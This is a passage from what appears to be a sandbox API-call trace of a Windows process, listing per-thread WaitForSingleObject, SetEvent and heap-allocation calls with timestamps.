returned 1 [0061.440] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.527] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.245] SetEvent (hEvent=0x190) returned 1 [0062.245] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.342] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.438] SetEvent (hEvent=0x190) returned 1 [0062.438] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.555] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.664] SetEvent (hEvent=0x190) returned 1 [0062.664] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.783] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.911] SetEvent (hEvent=0x190) returned 1 [0062.911] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.982] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.260] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.630] SetEvent (hEvent=0x190) returned 1 [0063.630] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.795] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 79 os_tid = 0x6e4 [0059.140] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.310] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.471] SetEvent (hEvent=0x190) returned 1 [0059.471] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.140] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.189] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.315] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.368] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.440] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.527] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.245] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.343] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.438] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.555] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.664] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.783] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.911] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.982] SetEvent (hEvent=0x190) returned 1 [0062.982] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.260] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.619] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.795] SetEvent (hEvent=0x190) returned 1 [0063.795] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 80 os_tid = 0xb9c [0059.140] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.310] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.470] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.783] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.181] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.275] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.366] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.434] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.521] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.238] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.337] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.431] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.549] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.657] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.777] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.904] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.971] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.242] SetEvent (hEvent=0x190) returned 1 [0063.242] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.605] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.775] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 81 os_tid = 0xba0 [0059.140] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.310] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.470] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.783] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.181] SetEvent (hEvent=0x190) returned 1 [0061.181] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.275] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.366] SetEvent (hEvent=0x190) returned 1 [0061.366] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.434] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.521] SetEvent (hEvent=0x190) returned 1 [0061.521] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.237] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.337] SetEvent (hEvent=0x190) returned 1 [0062.337] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.431] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.549] SetEvent (hEvent=0x190) returned 1 [0062.549] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.657] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.777] SetEvent (hEvent=0x190) returned 1 [0062.777] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.904] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.971] SetEvent (hEvent=0x190) returned 1 [0062.971] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.242] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.605] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.777] SetEvent (hEvent=0x190) returned 1 [0063.777] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 82 os_tid = 0x5b8 [0059.140] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.312] SetEvent (hEvent=0x190) returned 1 [0059.312] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.644] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.140] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.190] SetEvent (hEvent=0x190) returned 1 [0061.190] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.315] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.368] SetEvent (hEvent=0x190) returned 1 [0061.368] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.440] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.527] SetEvent (hEvent=0x190) returned 1 [0061.527] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.245] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.343] SetEvent (hEvent=0x190) returned 1 [0062.343] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.437] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.555] SetEvent (hEvent=0x190) returned 1 [0062.555] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.664] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.784] SetEvent (hEvent=0x190) returned 1 [0062.784] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.910] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.982] SetEvent (hEvent=0x190) returned 1 [0062.982] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.260] SetEvent (hEvent=0x190) returned 1 [0063.260] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.629] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.795] SetEvent (hEvent=0x190) returned 1 [0063.795] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 83 os_tid = 0x634 [0059.141] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.311] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.644] SetEvent (hEvent=0x190) returned 1 [0059.644] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.142] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x1000) returned 0x3c67650 [0061.142] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c67650, Size=0x2000) returned 0x3c67650 [0061.142] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c67650, Size=0x4000) returned 0x3c49600 [0061.142] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49600, Size=0x8000) returned 0x3c8b910 [0061.143] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x1000) returned 0x3c67650 [0061.143] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c67650, Size=0x2000) returned 0x3c67650 [0061.143] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c67650, Size=0x4000) returned 0x3c93920 [0061.143] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c93920, Size=0x8000) returned 0x3c97930 [0061.143] SetEvent (hEvent=0x190) returned 1 [0061.144] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.191] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.316] SetEvent (hEvent=0x190) returned 1 [0061.316] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.369] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.441] SetEvent (hEvent=0x190) returned 1 [0061.441] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.527] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.246] SetEvent (hEvent=0x190) returned 1 [0062.246] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.343] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.439] SetEvent (hEvent=0x190) returned 1 [0062.439] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.555] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.665] SetEvent (hEvent=0x190) returned 1 [0062.665] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.784] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.912] SetEvent (hEvent=0x190) returned 1 [0062.912] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.998] SetEvent (hEvent=0x190) returned 1 [0062.998] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.497] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.630] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.795] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 84 os_tid = 0xbf8 [0059.141] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.311] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.470] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.784] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.182] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.277] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.367] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.435] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.522] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.238] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.338] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.432] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.549] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.658] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.778] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.905] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.972] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.260] SetEvent (hEvent=0x190) returned 1 [0063.260] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.619] SetEvent (hEvent=0x190) returned 1 [0063.619] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.795] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 85 os_tid = 0xb00 [0059.141] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.311] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.470] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.784] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.182] SetEvent (hEvent=0x190) returned 1 [0061.182] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.277] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.367] SetEvent (hEvent=0x190) returned 1 [0061.367] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.435] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.522] SetEvent (hEvent=0x190) returned 1 [0061.522] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.238] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.338] SetEvent (hEvent=0x190) returned 1 [0062.338] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.432] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.550] SetEvent (hEvent=0x190) returned 1 [0062.550] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.658] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.778] SetEvent (hEvent=0x190) returned 1 [0062.778] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.905] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.972] SetEvent (hEvent=0x190) returned 1 [0062.972] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.260] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.618] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.776] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 86 os_tid = 0xb04 [0059.141] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.323] SetEvent (hEvent=0x190) returned 1 [0059.323] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.644] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.142] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c67650, Size=0x4000) returned 0x3c49600 [0061.142] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49600, Size=0x8000) returned 0x3c83900 [0061.142] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.191] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.316] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.369] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.441] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.528] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.246] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.343] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.439] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.556] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.665] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.784] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.912] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.997] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.497] SetEvent (hEvent=0x190) returned 1 [0063.497] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.630] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 87 os_tid = 0x97c [0059.141] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.323] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.644] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.141] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.192] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.316] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.370] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.441] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.528] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.246] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.343] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.438] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.556] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.665] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.784] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.911] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.997] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.497] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.630] SetEvent (hEvent=0x190) returned 1 [0063.630] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 88 os_tid = 0x98c [0059.142] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.322] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.644] SetEvent (hEvent=0x190) returned 1 [0059.644] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.141] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.193] SetEvent (hEvent=0x190) returned 1 [0061.193] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.315] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.370] SetEvent (hEvent=0x190) returned 1 [0061.370] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.440] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.528] SetEvent (hEvent=0x190) returned 1 [0061.528] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.246] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.344] SetEvent (hEvent=0x190) returned 1 [0062.344] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.438] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.556] SetEvent (hEvent=0x190) returned 1 [0062.556] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.665] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.784] SetEvent (hEvent=0x190) returned 1 [0062.785] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.911] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.997] SetEvent (hEvent=0x190) returned 1 [0062.997] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.496] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.629] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.794] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 89 os_tid = 0x9fc [0059.142] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.322] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.643] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.140] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.190] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.315] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.368] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.440] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.527] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.245] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.343] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.438] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.555] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.664] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.783] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.911] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.981] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.259] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.618] SetEvent (hEvent=0x190) returned 1 [0063.618] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.776] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 90 os_tid = 0xa0c [0059.142] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.324] SetEvent (hEvent=0x190) returned 1 [0059.324] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.658] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x180) returned 0x3c835e0 [0059.658] SetEvent (hEvent=0x190) returned 1 [0059.658] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.148] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.236] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.322] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.375] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.442] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.529] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.248] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.345] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.440] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.557] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.667] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.786] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.914] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.007] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.518] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x180) returned 0x3c9f940 [0063.518] SetEvent (hEvent=0x190) returned 1 [0063.518] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.750] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 91 os_tid = 0xa1c [0059.142] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.324] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.657] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.147] SetEvent (hEvent=0x190) returned 1 [0061.147] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.234] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 